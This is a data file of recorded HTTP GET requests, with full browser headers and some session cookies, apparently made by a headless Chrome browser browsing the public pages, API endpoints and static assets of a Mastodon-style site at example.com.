{"method": "GET", "target": "/api/v1/trends/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/public/local", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/react-dom-BddMPX6d.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/public/local", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/alternate_email-CGhoCIc4.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/public/local", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/use_fetch_familiar_followers-RmTfxbbk.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/public/local", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/v1/timelines/public?local=true&only_media=false", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/public/local", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/@admin", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/oops.png", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/@admin", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/tags/python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/directory", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/assets/collection_preview_card-DpSW2KW7.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/directory", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/skip_links-BaPrB3L_.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/directory", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/block-Dj44I8vY.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/directory", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/v1/directory?order=active&local=true&limit=20", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/directory", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/privacy-policy", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/dist-CIbpS4C0.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/privacy-policy", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/store-Dt6FPjVX.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/privacy-policy", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/more_horiz-Cw-tO3hE.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/privacy-policy", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/assets/roboto-medium-webfont-BrZc3cua.woff2", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: font", "Referer: https://example.com/packs/assets/themes/default-DkDM-a1D.css", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/v1/instance/privacy_policy", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/privacy-policy", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/auth/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=l4Lwoj0nimDxQwHldqeE%2BPPAw3285xl9sBYXqM%2FdWW3TqvOvgSpLSbVO5qu1hHU6w8EWpBX1T40XffQeFH8QRAzeQkJYypURndjIE%2FKYs4zwmnD4mfqNWFiJl4VlhV%2Bdo4E6%2FNqzrZnyHiib1hgq2wNW5wo3YlOkPEBZ5JNuuWBWjLysghvHBXwY2Y9bgIQYyAb6RmygeUWGBoPpvotNU4ufoXtZkmyVUNY2OLXyNE9N4wp81SdsipS7FbLDurlgm%2B7nr4NtPm6BJSTwdqKFDsF1gDDxwN%2Bb39LZbY0rNJDfqEXNSjBQALON8ftB15l5xM69Zei9YQa8MdKhi2hKIe3KFFzCEjWv%2B%2BbSRgS8ej2ZjEnpp3a6hD3OFruKg9Pe6DYQGjgR%2FlxxDU186KvssSja5o7DGcY7Vxq10%2F2rmIEnQh7bAFJOU0Nc1LCYz0s4TIUxzpB%2Bo3Nk--JfoicU1CsbrXhd%2BK--sbY69PRXh2DQ6wrhk7eIgA%3D%3D"], "body": ""}
{"method": "GET", "target": "/auth/password/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=T6vV7m4VPpBCRmR4Kxf0H58KC2eM0qu3kr%2FtUtM78EUir2IestUb%2FO%2BDwaeTFuiATNySVGyutbCVsp%2BKuQ95gdytF17HvdTKFFif7GVtQs3dnm7oTgk6AR56VYkQ71Cs90%2BI5IHn8uw5ok900QnVVvlaZ5hPmKD9LoMZTEw34EFG0Rog%2FAPV7Dg7nVndfuT8yRVDdJHLCc%2Fu3aqf%2FtBdC85IOGhqJFEPnSvGigLRkT0pvdDXPUWu4NOqYTPDu9gauO0bbgCSOc5ABSCKoOlR3G%2FE%2BizOM1lG2Q%3D%3D--MtDgty1ilcIMYJDP--Aje3yrIKjiRXza5GKGrbFA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/polyfills-BO_K2Jdc.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/password/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=doiWTsU%2BWmteBUgyFach0d%2F%2FosVY1iKW9qPdmfoLpnkCsuP8cbv0VhG%2F%2FqS6%2BfRnbWb033MK4f6zM%2Fr2krYJbozh%2F1OF9mcknLo%2B9e0qzy4WqjG3KLOUOqbFks%2BqqJu6kQ6ajE4WGfHZr%2BZwy42lRexAwTrGBfqM5NvvrtAHvF99JTU39AwUV1JlKhGPyEtXXA7bHquAlXvfu%2BGCDFCNpD7yV5feUAsCNBrL4R0W0%2F6YGqNFYnqO2NJn%2FX0dbjvokhLfoFrqoLu3nyJxgIIvZxNAS1KtFUc7og%3D%3D--YTkrCgF%2FZl0VxP5R--polL48RPoDkZ%2Bgs%2ByOaRuw%3D%3D"], "body": ""}
{"method": "GET", "target": "/search", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=doiWTsU%2BWmteBUgyFach0d%2F%2FosVY1iKW9qPdmfoLpnkCsuP8cbv0VhG%2F%2FqS6%2BfRnbWb033MK4f6zM%2Fr2krYJbozh%2F1OF9mcknLo%2B9e0qzy4WqjG3KLOUOqbFks%2BqqJu6kQ6ajE4WGfHZr%2BZwy42lRexAwTrGBfqM5NvvrtAHvF99JTU39AwUV1JlKhGPyEtXXA7bHquAlXvfu%2BGCDFCNpD7yV5feUAsCNBrL4R0W0%2F6YGqNFYnqO2NJn%2FX0dbjvokhLfoFrqoLu3nyJxgIIvZxNAS1KtFUc7og%3D%3D--YTkrCgF%2FZl0VxP5R--polL48RPoDkZ%2Bgs%2ByOaRuw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/intl/en-DcquEjBE.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/search", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=IJN2eqKBO05OJ1oXrd6BYuSZsdZPskfMZcqLJUdxWsrLvEOMMQdBgUwgufconwit6Pi0P5%2FmxTLlc3O9gen5bk12RdTCWD0YobA%2BAjFQ465JQ0LiwhoVVoBFTzSb57dpWK3%2BtcSgpX0XX46RvpuDZFVFPHMgTTG8KO3xjD9jJ%2FNGt3e0b8ITbTLhF659eJlHPsiqD2UIFwjUMEbnBviUoCJkN8RlizrcXpFQM0ZcPQ7F%2Bi0ZXoWKQwu9S%2FwxrdHg%2F7%2BrlGV3OExuLx2qNgYPVLsxUZIEXPK5xw%3D%3D--1bggnlF8IO4aOX3J--8R1a7ssXMlwcz4jC50a2rA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/helmet-C5cFHKKR.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/search", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=IJN2eqKBO05OJ1oXrd6BYuSZsdZPskfMZcqLJUdxWsrLvEOMMQdBgUwgufconwit6Pi0P5%2FmxTLlc3O9gen5bk12RdTCWD0YobA%2BAjFQ465JQ0LiwhoVVoBFTzSb57dpWK3%2BtcSgpX0XX46RvpuDZFVFPHMgTTG8KO3xjD9jJ%2FNGt3e0b8ITbTLhF659eJlHPsiqD2UIFwjUMEbnBviUoCJkN8RlizrcXpFQM0ZcPQ7F%2Bi0ZXoWKQwu9S%2FwxrdHg%2F7%2BrlGV3OExuLx2qNgYPVLsxUZIEXPK5xw%3D%3D--1bggnlF8IO4aOX3J--8R1a7ssXMlwcz4jC50a2rA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/permissions-Dkwe-SYl.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/search", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=IJN2eqKBO05OJ1oXrd6BYuSZsdZPskfMZcqLJUdxWsrLvEOMMQdBgUwgufconwit6Pi0P5%2FmxTLlc3O9gen5bk12RdTCWD0YobA%2BAjFQ465JQ0LiwhoVVoBFTzSb57dpWK3%2BtcSgpX0XX46RvpuDZFVFPHMgTTG8KO3xjD9jJ%2FNGt3e0b8ITbTLhF659eJlHPsiqD2UIFwjUMEbnBviUoCJkN8RlizrcXpFQM0ZcPQ7F%2Bi0ZXoWKQwu9S%2FwxrdHg%2F7%2BrlGV3OExuLx2qNgYPVLsxUZIEXPK5xw%3D%3D--1bggnlF8IO4aOX3J--8R1a7ssXMlwcz4jC50a2rA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/form_field_wrapper-B00MNsQd.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=IJN2eqKBO05OJ1oXrd6BYuSZsdZPskfMZcqLJUdxWsrLvEOMMQdBgUwgufconwit6Pi0P5%2FmxTLlc3O9gen5bk12RdTCWD0YobA%2BAjFQ465JQ0LiwhoVVoBFTzSb57dpWK3%2BtcSgpX0XX46RvpuDZFVFPHMgTTG8KO3xjD9jJ%2FNGt3e0b8ITbTLhF659eJlHPsiqD2UIFwjUMEbnBviUoCJkN8RlizrcXpFQM0ZcPQ7F%2Bi0ZXoWKQwu9S%2FwxrdHg%2F7%2BrlGV3OExuLx2qNgYPVLsxUZIEXPK5xw%3D%3D--1bggnlF8IO4aOX3J--8R1a7ssXMlwcz4jC50a2rA%3D%3D"], "body": ""}
{"method": "GET", "target": "/@admin/with_replies", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=42mL10PkAX9XYgEBGPPfjNKIRbIpiy84ppa4Y5EYeCOTdKQJZfMXE0pzAJh5wERGUFJDOokmvWRwIDhjB4b7gKGvItBtC0ucnTwN5Ii6EAbONS23cGmAK7ONtvdxdAmbSujdm7mJk9yHYSf39CruUIJ0xhGjp7arrN60QCMXklXo4QQBWuIh52qSMhon62xFCaxx1B4bHO9IELRw7EqZ877rzLi%2FYTGTPsVxqb3zNBS5FPLo%2F5h4tz%2B1Bjz1vA2CYsN2kO2E5Du%2Fy44nN2a24%2FElemcLwkEVsA%3D%3D--jb3fXA9OhA%2BumZe4--RuKLyPXQt17IKgB6c%2B6bhA%3D%3D"], "body": ""}
